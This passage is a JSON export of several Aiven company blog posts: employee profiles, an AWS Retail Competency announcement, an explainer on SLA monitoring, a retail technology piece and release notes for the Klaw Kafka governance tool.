Aiven!","metaTitle":"Why every business needs an AI Tactical Discovery team"},"slug":{"_type":"slug","current":"/blog/why-every-business-needs-an-ai-tactical-discovery-team"},"subtitle":"AI adoption is the future, which is why enterprises need to find a way to make it work in their organizations where existing structures and established ways of working have not been designed to act and react with the agility required.","title":"Why every business needs an AI Tactical Discovery team"} {"__i18n_lang":"en","_createdAt":"2023-08-31T12:38:29Z","_id":"c3317e7b-b935-43d1-9665-8169a5ebdf91","_rev":"h4ancfFTuSnQNBSq3Ihv6a","_type":"post","_updatedAt":"2024-11-19T07:58:14Z","authors":[{"_key":"f6695b5db797","_ref":"1f5a7de4-2542-47c7-a37f-3205cc6fcdcf","_type":"reference"}],"body":"So, how did Shu get to where she is today? To what – or who – does she owe her success? And how did she become such an awarded crustacean in our Crab ocean?\n\n### Growing up and developing a strong shell\n\nShu credits her parents and family with being her biggest influence in life. They showered her with unwavering love and taught her the value of always being kind. \n\nOne memory sticks out for her in particular. When she was 15 she scored badly in an exam and was very upset about it. But rather than a scolding, she instead received a lot of encouragement. As Shu points out, there can be a certain perception about over-pushy Asian ‘Tiger’ parents, but she always had a warm, homely family environment, and it’s helped make her who she is today.\n\nOne major trait that she credits her parents with instilling in her is the importance of being content with what we have and taking life head on in a positive way. As they used to tell her: “The sun will rise and we’ll try again.”\n\nIt meant that Shu was always willing to give things a go when she was growing up – and she has certainly maintained that can-do approach. \nAbandoning an unhealthy lifestyle many years ago, that gritty attitude now also covers keeping fit. She achieves this via regular jogging and taking long walks, as well as strength training in the gym. As she puts it, she’s something of a workout-aholic, but she credits this with keeping her mentally as well as physically in trim.\n\n### Aiven – love at first sight \n\nShu joined Aiven on 14 February, 2022 – Valentine’s Day - a moment when we celebrate love and friendships. Shu saw the open position, found out more about the role and never looked back. As she comments, “What can I say…? I was really attracted to the orange crab!”\nIn particular, Shu really wanted to experience being entrepreneurial in a hyper-growth startup. And as she tells us now, around 18 months on, it has proved very rewarding.\n\n### Living life sideways\n\nFor Shu, every morning starts with a cup of coffee (we’re thinking maybe a crab-uccino). But after that, every day is different and has its own challenges, depending on the schedule of planned marketing activities. \nThe APAC Regional Marketing team is geared towards demand and pipeline generation through integrated field campaigns that drive sales results. That includes field events, digital campaigns and brand awareness activities, often working closely with regional sales teams and local partners.\nSo on any one day, Shu could be helping to set up a booth, looking at intent data, designing email nurtures, or doing strategic planning. There’s a lot to fit in, but there’s also plenty of room for creativity.\n\n### Multiple award winner\n\nAt Aiven, we like to acknowledge those who perform exceptionally. This year Shu has been recognised not once, but twice: at the January quarterly business review (QBR) meeting and again during [Crab Week](https://aiven.io/blog/crab-week-2023-wrap-up) in Portugal a few months ago.\n\nAt each QBR we give an award to those who most embody our key values of Openness, Courage and Ownership, and Shu won the award for Openness. She has created an open and safe space for others to contribute ideas and learn from one another, which has helped to build trust and foster collaboration amongst members of the team.\n\n[Our Crab Awards](https://www.linkedin.com/posts/aiven_crab-awards-2023-activity-7061615995932565504-2O4N/?utm_source=share\u0026utm_medium=member_desktop) have been running since 2021. Each award is named after a crab feature and is presented to two Aiveners who have particularly embodied that crab characteristic:\n\n- The Amphibian, for those who can adapt to multiple environments and challenges.\n- The Exoskeleton, for those who prove the toughness of their shell in overcoming challenges.\n- The Claws, for those who can be called in to make tough decisions when it comes to the pinch and cut through any obstacles.\n- The Decapod, for the Aivener who is involved in everything and can use their figurative ten legs to successfully keep multiple plates spinning.\n- The Antennae, for the Aivener who displays high emotional intelligence and nurtures wellbeing and team spirit in others to build a great work environment.\n\nAiveners are nominated and voted on by our executive team. The winners receive a coveted crab pin to wear, along with a complementary dinner for two. This year, Shu won the Antennae award. She demonstrated multiple times her profound emotional intelligence while actively contributing to creating a trustful workplace culture. \n\n### Sensitive Antennae lead to the right environment\n\nShu was only the fifth person to join the new Singapore office. She worked hard to welcome a new Cast member every month, taking on an informal role as office manager and connecting to other global teams – that’s what we call great Antennae!\n\nOf all our values, Shu says that her favourite value is Openness. She loves the fact that Aiven allows all our Cast of Crabs to have the courage to try different things, and to take the ownership of a project from top to bottom. For her, Aiven is a place where you can share ideas and thoughts openly, with a warm culture of people always ready to help. \n\nOur thanks go to Shu for sharing her story!\n\nInterested in joining the Cast? Check out our [open positions](https://aiven.io/careers). And keep your eyes peeled (sideways) on the blog as we continue to meet more of our clawsome Cast of Crabs. \n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Get started for free\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e\n\n","categories":[{"_key":"9da0349eacda","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"},{"_key":"4e5137fffcec","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"6b34db3ff925","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-36ac34e992e6bdbadb839facf0879ba1cb3c9787-1567x844-png","_type":"reference"}},"publishedAt":"2023-09-01T07:10:31.198Z","seo":{"_type":"metaData","metaDescription":"Meet Shu Toh, Senior Field Marketing Manager, who joined Aiven on a Valentine’s Day and has greatly impacted our APAC team. Find out more!"},"slug":{"_type":"slug","current":"/blog/meet-the-cast-shu-toh-our-valentines-day-crab"},"subtitle":"Shu Toh joined us as Senior Field Marketing Manager on February 14th, 2022 – Valentine’s Day. Ever since, we’ve had a big place in our heart for her and all that she does for the APAC Regional Marketing Team. \n","title":"Meet the Cast: Shu Toh – our Valentine’s Day Crab"} {"__i18n_lang":"en","_createdAt":"2024-10-22T13:41:26Z","_id":"40facdef-a3ae-4191-a9fa-82e8279a3ff0","_rev":"sEwq5NBiPauorOxrhiP9Kh","_type":"post","_updatedAt":"2024-11-19T07:59:15Z","authors":[{"_key":"011173e6a46f","_ref":"7d07d38b-059b-4829-bd63-cb448c846ce6","_type":"reference"}],"body":"We’re excited to announce that Aiven has achieved the prestigious AWS Retail Competency, in the category of Advanced Data Insights. Achieving the AWS Retail Competency recognizes Aiven’s expertise in providing customers with software solutions that empower retailers to gain valuable data insights to drive business success.\n\n## Enhancing Retail with Real-Time Data Analytics on AWS\nBy using the Aiven Data and AI Platform on AWS, retailers gain advanced, real-time data analytics capabilities without the burden of managing the underlying infrastructure. The result? Actionable insights that translate into better shopping experiences, more satisfied customers and more revenue.\n\nAchieving the AWS Retail Competency differentiates Aiven as an AWS Partner Network (APN) member with demonstrated technical proficiency and proven customer success in running cloud solutions on AWS for the retail industry. This program showcases retail technology software AWS Partners who have domain knowledge and are providing cloud services powered by AWS. To receive the AWS Retail Technology Competency designation, AWS Partners must undergo a rigorous technical validation by AWS solution architects and have verified customer references. \n\n## Aiven and AWS: Powering Retail Innovation\n\n“We’re thrilled Aiven has achieved the AWS Retail Competency as it underscores our commitment to both AWS and to helping retail organizations unlock the full potential of their data. From personalizing customer experiences and supercharging websites through to AI-powered chatbots and fraud prevention, our real-time data and AI platform on AWS enables retailers to fast-track innovation and delight their customers. We are proud to be an AWS Partner Network (APN) member, and achieving this competency is another important milestone in our strategic relationship with AWS,” said Elena Zykova, Vice President, Global Partnerships, Aiven.\n\n![](https://cdn.sanity.io/images/sczeoy4w/production/15e7a17281e03f08c994efd32c50815aad77bf31-800x200.png)\n\n## idealo’s Real-Time Data Solution with Aiven on AWS\n\n[idealo](https://aiven.io/case-studies/aiven-supports-idealo), an online price comparison service that operates in six European countries, is just one example of a business benefiting from the combination of Aiven and AWS services. Its website has over 72 million users a month who compare prices for 500 million products offered from 50,000 merchants.\n\n\"idealo has a super-fast, reliable and secure infrastructure that handles and analyzes the massive amounts of data generated by our price comparison service. Aiven for Apache Kafka® on AWS is instrumental in getting the best prices to our customers in near real-time. Aiven has removed the complexities of managing the underlying data infrastructure from our team and we also get to benefit from Aiven’s deep AWS expertise. \"The Aiven and AWS partnership is a win-win for us,” said Wanis Fahmy, Senior Cloud Engineer, idealo.\n\n## Join Us for AWS Immersion Day: Retail Transformation with AI and Real-Time Data\n\nAre you a retailer keen to know more about extracting value from your data? Do you want to see our AWS Retail Competency skills in action? Then join Aiven, AWS and your peers at the ‘AWS Immersion Day: Transforming Retail with Real-Time Data Pipelines and AI Agents.’ The half-day workshop will take place at the AWS office in Berlin, November 20, 2024. \n\nIn addition to getting hands-on experience with Aiven and AWS services, you’ll learn how leading retailers are using event-streaming architectures and real-time data pipelines to transform their ecommerce, stores, supply chain, merchandising, customer support and more.\n\n* Discover Aiven on the [AWS Marketplace](https://aws.amazon.com/marketplace/pp/prodview-fx7pxfq5uaxha?sr=0-1\u0026ref_=beagle\u0026applicationId=AWSMPContessa)\n","categories":[{"_key":"4304ecb8afcc","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3c3cc2d319d9","_ref":"f80824ef-ed32-4267-af89-23f63b62902d","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Aien achieves the AWS Retail Competency and Hosts AWS Immersion Day","asset":{"_ref":"image-d57d15add0b342d3348f882fa4958587ec745221-1200x628-png","_type":"reference"}},"publishedAt":"2024-10-22T13:45:45.493Z","related":[{"_key":"2c5d43550540","_ref":"c7e3c27e-ae34-4a51-b178-daf0bfaaf452","_type":"reference"},{"_key":"64b6e1efca57","_ref":"b0562f66-3a6f-47a8-85bd-2bebb38ee29a","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Transforming retail: Aiven and AWS empower businesses with real-time data insights for better customer experiences. ","metaImage":{"_type":"mainImage","alt":"Aien achieves the AWS Retail Competency and Hosts AWS Immersion Day","asset":{"_ref":"image-d57d15add0b342d3348f882fa4958587ec745221-1200x628-png","_type":"reference"}},"metaTitle":"Aiven Achieves the AWS Retail Competency"},"slug":{"_type":"slug","current":"/blog/aiven-achieves-the-aws-retail-competency"},"subtitle":"Transforming retail: Aiven and Amazon Web Services (AWS) empower businesses with real-time data insights for better customer experiences. ","title":"Aiven Achieves the AWS Retail Competency \u0026 Hosts AWS Immersion Day"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"7pb0UflNvu9Rdh9g9bDfPn","_rev":"T130WEs22RB6SoEkOBbKrq","_type":"post","_updatedAt":"2024-11-19T08:03:21Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"SELECT 1; isn’t all it’s cracked up to be. As a test of verifying database availability, connecting to it and running one simple query is hardly a realistic workload. This simple operation can succeed while the server’s underlying disk system is having serious issues, or if backups have not been generated on schedule. In short, the database can respond to simple queries just fine but your service could still be down. \n\n[Aiven commits to 99.99% uptime](https://aiven.io/sla \"Link to Aiven SLA\"), but we don’t calculate that figure based on simple availability checks. We believe our customers deserve better guarantees. \n\nWhat Aiven does is use the output from availability checks to trigger automatic recovery actions. If those actions fail to restore normal service, an on-call ops team member is alerted to investigate and resolve the issue.\n\nThis is where our SLA monitoring calculations come in. Whether we are alerted to a problem by our own systems or by our customers, we always investigate every issue as a potential availability breach. If the issue has an unavailability component that is under our responsibility, the customer is remunerated without delay.\n\nBut we don’t just stop there. Regardless of where the problem originates, our systems or elsewhere, we’ll do our best to get it fixed. If the issue is somewhere out of our reach, we help you to fix it or to get it fixed by the relevant party.\n\nOn the prevention side, we automatically detect and heal a large number of issues before they cause services to fail. Many of the issues we monitor are actually outside our SLA, too, such as cloud provider outages. Our job is to make sure that any outage impacts your services as little as possible. And if we detect an issue that is covered by our SLA, we proactively compensate our customers for any downtime.\n\nIf you want to keep a closer eye on the status of Aiven services, you’re welcome to subscribe to our [Aiven Status](https://status.aiven.io/ \"Link to the Aiven Status page\") page. There you can find the current and historical system performance information, whether or not it affects your own services. And if you get an e-mail from us about an availability issue, don’t be alarmed. We probably just found something that has affected your service and want to let you know--and give you some service credits!\n\nAnd remember, Aiven’s highly rated customer service is always happy to help you troubleshoot issues and outages related to our services. We can walk you through possible solutions and even help you prevent future problems.\n\nSo far our customers have found this approach valuable, judging from reviews like this on [G2](https://www.g2.com/products/807688ad-af7c-48e2-8322-af005b8df7a1/snippets/consume?utf8=%E2%9C%93 \"Link to G2 page\"):\n\n\u003e \"If you need a professional support \\[team\\], Aiven is ahead of others.\" (Director of Engineering)\n\n\u003e \"What I like about Aiven is their support. They are answering really quickly and they help even if the problem is not Aiven related, I learned a lot of things from them (like pgbouncer) and I’m looking forward to working with them even more.\" (Devops Specialist)\n\n\u003e \"The technical reliability with Aiven is fantastic. In the rare case that something does go wrong, one can count on Aiven putting their best foot forward in support situations.\" (Chief Software Architect)\n## Wrapping up\nRest assured: If anything goes wrong, we may well be the first to tell you about it so we can fix it with you. And if we can fix it at our end, we’ll simply go ahead and do it. Aiven has your back!\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-d61b512fa04c3af4effbaac24a0139bda9eede7b-1567x844-jpg","_type":"reference"}},"publishedAt":"2021-01-20T00:00:00.000Z","seo":{"metaDescription":"At Aiven, we commit to 99.99% uptime. Discover our effective approach to maintaining high availability and responding to issues quickly.","metaImage":{"alt":"","asset":{"_ref":"image-d61b512fa04c3af4effbaac24a0139bda9eede7b-1567x844-jpg","_type":"reference"}},"metaTitle":"How Aiven monitors your system performance"},"slug":{"_type":"slug","current":"/blog/how-aiven-monitors-your-system-performance"},"subtitle":"Aiven commits to 99.99% uptime. Every now and then we are asked how we make sure that your system actually stays up accordingly. Find out how we keep an eye on service uptime and how we react to issues.","title":"How Aiven monitors your system performance"} {"__i18n_lang":"en","_createdAt":"2024-08-14T06:44:33Z","_id":"b0562f66-3a6f-47a8-85bd-2bebb38ee29a","_rev":"sEwq5NBiPauorOxrhiSFv0","_type":"post","_updatedAt":"2024-11-19T08:21:27Z","authors":[{"_key":"340a5f3b4d03","_ref":"1a7c9202-de47-455f-b5ab-544e3ddb5cf2","_type":"reference"}],"body":"Steve Jobs, who famously encouraged us to \"think differently,\" emphasized the importance of customer experience by saying, “You’ve got to start with the customer experience and work back toward the technology – not the other way around.”\n\nSuccessful brick-and-mortar retailers responding to the so-called “retail apocalypse” have followed this principle. Instead of investing in technology without a strategy, these smart retailers have focused on enhancing the in-store experience. They aim to make shopping more convenient and enjoyable, ensuring a customer-friendly environment.\n\n## The phygital world of retail \nBlending the in-store and digital experience is a concept known as ‘phygital,’ and it’s something that we as digitally-native consumers now expect. Retailers must seamlessly marry the on and offline experience to be successful. According to [Covo](https://ecommercenews.uk/story/uk-consumers-expect-online-retail-to-match-in-store-cx), 91% of consumers expect their online experience to meet or surpass that of in-store shopping. \n\nUntil recently, many of the innovations we are familiar with were not possible or delivered in a clumsy manner, such as user-unfriendly applications like chatbots. But the advent of Generative AI is changing everything. It is enhancing not just how customers interact with products, but also enabling retailers to streamline their operations.\n\n## Demonstrating the art of the possible\nEquipping brick-and-mortar stores with technology has been a trend bubbling under the surface for some time. The [Amazon 'Scan and Go'](https://www.amazon.com/b?ie=UTF8\u0026node=16008589011) mobile payment systems were one of the first incarnations — if for no other reason than to demonstrate the art of the possible. Today, there are many examples of brands that have followed suit. Cosmetics manufacturer, [Lush](https://www.marketingweek.com/lush-ultimate-customer-experience/), uses an app as the primary source of product information through scannable codes. [H\u0026M](https://www.kioskmarketplace.com/articles/hm-enhances-customer-engagement-with-digital-signage-2/) has digital vending machines to help shoppers find their beauty and fragrance preferences, and walk-in consumers can get a free virtual workout at the GymShark Oxford St. store in London.\n\nThe emergence of AI and other technologies supporting the real-time exchange of information has also enabled the online aspect of retail to improve alongside the physical. For instance, Walgreens uses data from the number of antiviral prescriptions to track the spread of the flu. The online, interactive map not only helps customers understand how bad the flu is in their area, but also helps [Walgreens](https://www.walgreensbootsalliance.com/walgreens-flu-index) stock more inventory of flu-related products in highly infected regions. \n\nBeyond improving the customer experience, retailers are also using AI to significantly boost their operational efficiency. By analyzing customer buying behaviors and other data points, AI helps retailers make precise decisions about purchasing stock and staffing levels. For example, AI systems analyze trends, including historical sales data and external factors like weather, to accurately forecast product demand. What’s more, AI's capability to dynamically adjust pricing based on demand forecasts and competitive analysis enables retailers to maximize the bottom line. \n\n## Retail’s transition from the old world to the new\nToday’s retailers need to provide an outstanding customer experience both in-store and online to remain competitive. Retailers require technology that can handle fluctuating demand throughout the year without compromising scalability, flexibility, or performance.\n\nAdditionally, retailers need to modernize their data infrastructure by moving from monolithic applications towards nimble microservices where data is captured, processed and used as needed. A service-oriented architecture is fundamental because it lets retailers know which components they need to scale, how much, and when. The outcome is more efficient performance and a better customer experience.\n\nRetailers need a data platform that enables them to fulfill these requirements. Our [AI and data platform](https://aiven.io/solutions/aiven-for-retail) is designed to provide a versatile, reliable, and cost-effective way to build the data services that make a tangible difference to the customer experience. Here at Aiven, we’re already working with some of the biggest names in retail, helping them scale their business with open source data infrastructure to positively impact revenue and the customer experience. \n\n## Transforming the traditional shopping experience\nThe fusion of physical stores with high-tech, online capabilities is transforming the traditional shopping experience into something much more dynamic and customer friendly. This trend is only going to continue, and retailers must take steps to ensure their architecture and data practices are built effectively to keep up. \n\nWhether it’s through better infrastructure performance, improved search and discoverability, or faster insight into operational data, how retailers blend the on and offline elements of their stores will be a defining element of their competitiveness in the coming years.\n","categories":[{"_key":"e5149378cc67","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"},{"_key":"0a3639c4fa45","_ref":"f80824ef-ed32-4267-af89-23f63b62902d","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-fba4c17c58d69d2c65a8fec1c5c69c7f5eda2434-1200x628-png","_type":"reference"}},"publishedAt":"2024-08-28T09:02:00.000Z","seo":{"_type":"metaData","metaDescription":"Discover how smart retailers are blending the latest technology with their traditional brick-and-mortar stores, delivering outstanding customer experiences.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-fba4c17c58d69d2c65a8fec1c5c69c7f5eda2434-1200x628-png","_type":"reference"}},"metaTitle":"The digitalized brick-and-mortar retail renaissance"},"slug":{"_type":"slug","current":"/blog/the-digitalization-of-bricks-and-mortar"},"subtitle":"This blog examines how smart retailers are blending the latest technology with their traditional brick-and-mortar stores to deliver outstanding customer experiences.","title":"The digitalized brick-and-mortar retail renaissance"} {"__i18n_lang":"en","_createdAt":"2023-08-01T10:53:27Z","_id":"8536b244-4202-4318-889b-c58e8ade28f9","_rev":"YN8truRCqnchJPC7UzUvJn","_type":"post","_updatedAt":"2024-11-25T14:00:05Z","authors":[{"_key":"8cfb3dbcc53d","_ref":"fa265a2a-831a-4862-a7d7-42065a008cc6","_type":"reference"}],"body":"Like any true Crab, Olena has had a lifelong penchant for sideways exploration. From her home country of Ukraine, she has spent time everywhere from Toronto (one of her favorite cities) to Germany, and also worked for a couple of years in Russia. But Finland is where she now calls home – and she’s certainly come a long way professionally as well.\n\n## Born to succeed\n\nOlena says her original mission in life was to annoy her big brother – just like any younger sibling. But they’ve become very close over the years and she’s spent a lot of time in Germany, where he lives.\n\nFamily has always been important to her, and Olena’s were very supportive of her becoming a software engineer. After early experience in Ukraine and then Moscow, she made the move to Zalando SE, the German online fashion retailer. A big influence there was Antti Pennanen, who helped her develop both hard and soft skills, such as encouraging her to participate in the hiring process of new candidates – you can learn a lot from candidates with different backgrounds.\n\nAt the start of 2020, she decided that she would like to work at Aiven. She heard that there was a plan to launch an Apache Flink® service and this is what she was eager to do. But her timing wasn’t quite right. The COVID pandemic had just started, and she was also told that she needed to improve her Linux and systems knowledge. \n\nHowever, no would-be Crab lets something like that scuttle their hopes. With the help of [Cloud Guru](https://www.pluralsight.com/cloud-guru) and [Udemy](https://www.udemy.com/), Olena duly learned all she could about Linux and cloud systems. Six months after her first interview, she reapplied and got the job, joining our Engineering team as a mid-level Software Engineer. \n\nOlena says “That is why I tell people not to be afraid to re-apply even if the first shot was not that successful”.\n\n## Making a bigger splash as Staff Engineer\n\nOlena found the team on her side from the start, with particular support from [Ivan Yurchenko](https://www.linkedin.com/in/ivanyurchenko/) and [Andrey Pleskach](https://www.linkedin.com/in/andrey-pleskach-13126212/).\n\nHer previous experience with Apache Kafka® and Flink at Zalando also proved invaluable. And her stubbornness (or persistence if you like) has helped her to fix many complex bugs and a wide variety of problems. Part of her success can be attributed to this time spent answering customer issues and fixing incidents, it helped her understand Aiven’s customers and their problems in more detail. \n\nJust recently she was promoted to Staff Engineer, which means she can now make an even greater impact with both staff and customers. Her team is called “Helpful Husky”, a name randomly generated. (As she points out, it could have been weirder – imagine if it was “Rebel Raccoon” or even “Fecund Ferret”.) But the name does reflect the team’s mission to build better data streaming services – and huskies are famous for their ability to work as a team. \n\n## Life in the Aiven ocean\n\nIn a crab shell, Aiven is about Courage, Code and Community as far as Olena is concerned. And thinking sideways, of course. For her, that means always being flexible and open to new ideas and people with other ways of doing things. Aiven is a fertile environment for all kinds of innovation and new ideas.\n\nRemote work and asynchronous communication encourages that, enabling people from different countries and backgrounds, and with varying points of view, not just to collaborate, but to innovate. \n\nPeople often think that engineers just write code all day, but a huge part of Olena’s daily work involves meetings, Slack, Google Docs, and so on. With any big project, the initial what, how and why is what really counts – the actual writing of code is the most straightforward part.\n\nBut the most interesting part of the day, according to Olena, is “running small but meaningful experiments”. That includes testing ideas on how to fix a challenging customer problem, writing some proof of concept (POC) for new features, estimating the performance of new frameworks, verifying if new approaches or patterns could work for the team, and so on. Fortunately, the sheer scale of Aiven means that it’s much easier to identify the best features and fixes, and thus to focus on what really matters for companies and end users. \n\nIn other companies, software engineers find it frustrating that products or services that they’ve put so much into end up being barely used or quickly superseded. But here, almost everything our teams develop is extremely important for customers.\n\nAnother thing that Olena really appreciates at Aiven is the ability to contribute to open source. She and many of her team also aid the wider community by writing blogs and spreading knowledge about technology in general.\n\n## Olena’s advice for a career in engineering\n\nEveryone is different, with their own passions and dreams. So even after ten years in tech, Olena is wary of offering one-size-fits-all guidance. But she does have some suggestions that are likely to be invaluable whoever you are. \n\nShe recommends participating in meetups as a great way of learning and expanding your network, whether these get-togethers are women-oriented or more general. Even more important is to find yourself the right mentor. Not just for learning new skills, but to help you see your own shortcomings and mistakes, which can be hard to recognise yourself. That’s the key to professional growth.\n\nAs an organization, Aiven has a part to play too. Olena hopes to see more mentorship and training programs supported by the company, turning today’s junior female engineers into tomorrow’s leaders. \n\nOur thanks go to Olena for sharing her story!\n\nInterested in joining the Cast? Check out our [open positions](https://aiven.io/careers). And keep your eyes peeled (sideways) on the blog as we continue to meet more of our clawsome Cast of Crabs. \n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Get started for free\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"e0c643eb6a3b","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"},{"_key":"5abdd50b443e","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"f048a92bd817","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Olena Babenko, Staff Engineer, Aiven, Aiven logo, Women in Tech, DEI, Diversity Equity, Inclusion","asset":{"_ref":"image-3f26eab92779a096e04bcb2328d9f95009e751e3-2065x1112-png","_type":"reference"}},"publishedAt":"2023-08-03T08:42:16.478Z","related":[{"_key":"6f7141c38233","_ref":"cc563d6c-d018-4a2f-9d79-1b42f3117863","_type":"reference"},{"_key":"2e8c2f4c4da1","_ref":"0219c323-fc21-4dc8-8fbb-56ee84960dce","_type":"reference"},{"_key":"1398f773b98a","_ref":"712d0099-600c-4354-a2d6-80340a2fa031","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Meet Olena Babenko, Aiven Staff Engineer, as she shares her career journey, experiences, and advice for aspiring tech professionals. Find out more!","metaImage":{"_type":"mainImage","alt":"Olena Babenko, Staff Engineer, Aiven, Aiven logo, Women in Tech, DEI, Diversity Equity, Inclusion","asset":{"_ref":"image-3f26eab92779a096e04bcb2328d9f95009e751e3-2065x1112-png","_type":"reference"}},"metaTitle":"Meet Olena Babenko, Staff Engineer and Tech Expert "},"slug":{"_type":"slug","current":"/blog/meet-the-cast-olena-babenko"},"subtitle":"We chatted with Olena Babenko, our newly promoted Staff Engineer. We learnt about her sideways journey to Aiven, what life is like here, and her advice for others looking to make a career in tech.","title":"Meet the Cast: Olena Babenko, Staff Engineer and Tech Expert "} {"__i18n_lang":"en","_createdAt":"2022-10-10T10:26:30Z","_id":"de15d64a-ab02-4a06-bd4d-e37a5095883b","_rev":"sEwq5NBiPauorOxrhiQkvG","_type":"post","_updatedAt":"2024-11-19T08:10:07Z","authors":[{"_key":"aeb7287b8b48","_ref":"3CMp6swW2L6wlHhqp57gWe","_type":"reference"}],"body":"It hasn’t been long since the initial release of Klaw on 29 September 2022, but even in this short time we’ve worked to enhance the Apache Kafka data governance experience. \n\nIn the initial release, we aimed at keeping the technology consistent and resilient across the new environment instead of risking breaking things. Our conservative approach paid off as nothing, in fact, broke, and we achieved our priority objectives: name change and integration with different versions of Apache Kafka. \n\nThe next item on the agenda was to make sure that your data remains safe. That’s why the next release was all about security. We want to ensure that Apache Kafka governance is safe and authenticated everywhere. At Aiven, we’re proud to say your data is safe at rest and in motion, and we wanted to apply this high standard to Klaw as well.\n## Major new features\n\nKlaw now includes SASL authentication protocols SCRAM-SHA-256 and SCRAM-SHA-512 for connecting securely to Apache Kafka clusters. \n\nYou can now use JWT-based authentication to connect to the Klaw Cluster API. This authentication between APIs makes the connection more secure.\n\nYou can now configure Klaw to connect to multiple clusters with different SSL certificates. This way, you can govern larger Apache Kafka systems (with Apache Kafka, Schema Registry/Karapace, Kafka Connect, etc.) with just one instance of Klaw. This hugely simplifies your Kafka governance, removing the need for multiple Klaw instances per component and ensuring a smoother developer and DevOps experience. \n\nThe Browse topics screen has a completely new look and feel after we switched to React for UI. This gives a much more user-friendly and intuitive interface for managing your Kafka topics. \n\nAzure AD based Authentication and Authorization: Your organization can now leverage an existing Azure AD infrastructure to manage access to Klaw. You can also retrieve role and team information from Azure AD tokens.\nAdvanced topic configuration on Topic requests, allowing you to configure different topic options like compacted topic, apply retention, compression, and so on in the same request.\nYou can now create service accounts using new Aiven ACL requests (Aiven specific change)\n\n## Other improvements\n### Major improvements\n\n- Improved documentation (in progress) and releases mentioned at https://klaw-project.io\n- Github CI actions, Code of conduct, code styling and formatting plugins, security policy, contributing guidelines, templates on PRs and Issues, packaging and installation instructions\n- Support for Apache Kafka flavors like Aiven for Apache Kafka is introduced\n- Updated unit tests and integration tests on several service classes\n- Code refactoring to make the code more robust and readable\n- Better exception handling and enhancements\n\n### Minor improvements\n\n- The ClusterApi git project has been moved into Klaw core project as a module \n- Vulnerabilities related to Actuator, Cluster Api authentication, etc are addressed\n- Springboot and Apache Kafka upgrade\n- Introduced Custom validator on topic requests allowing the validation logic to be isolated and easily managed\n- Introduced Makefile for easy build and deploy\n- Deep linking of URLs in Klaw web\n- Alerts on code scanning, secret scanning, Dependabot and security advisories\n- Spring security upgrade, removed the deprecation of WebSecurityConfigurerAdapter\n- Support for docker\n\n\n## What to expect in the next three months\n\nWe are only getting started with Klaw and we are excited about future additions to the framework! Over the next few months, our development efforts will evolve around upgrading the framework, adding to Klaw’s React UI, and introducing a lot of new features. \n\nHere’s a more detailed list for your convenience: \n\nFramework\n\n- Spring boot upgrade to 3.x\n- Upgrade to JDK 17 \n\nFeatures\n\n- Schema Promotion from one environment to another\n- Support for PEM format for Kafka cluster SSL connectivity\n- Introduce RegEx patterns on topic names in topic requests\n- Introduce a new request type: Reset consumer offsets\n- React UI\n- Topic Requests\n- Subscription Requests (Producer/Consumer)\n- Schema Requests \n- Connect Requests\n\n## Our thanks\nThe two minor releases wouldn’t have been possible without the help of our contributors. We’d like to thank each and every one of them:\n\n- [Mirjam Aulbach](https://www.linkedin.com/in/mirjam-aulbach/)\n- [Mathieu Anderson](https://www.linkedin.com/in/mathieuanderson/)\n- [Samuli Suortti](https://www.linkedin.com/in/samulisuortti/)\n- [Murali Basani](https://www.linkedin.com/in/muralibasani/)\n- Aindriu Lavelle\n- [Sergey Nuyanzin](https://www.linkedin.com/in/sergey-nuyanzin-60aa6356/)\n- [Josep Prat](http://linkedin.com/in/jlprat/)\n- [Ahmed Sobeh](https://www.linkedin.com/in/ahmedsobeh)\n- [Dave Beech](https://www.linkedin.com/in/davebeech/)\n- Stefan Arentz\n- Sebastian Kaiser\n- [Harshini Rangaswamy](https://www.linkedin.com/in/harshini-rangaswamy/)\n\n## Wrapping up\nKlaw has come a long way in the months since its acquisition by Aiven, and we’ve already enhanced 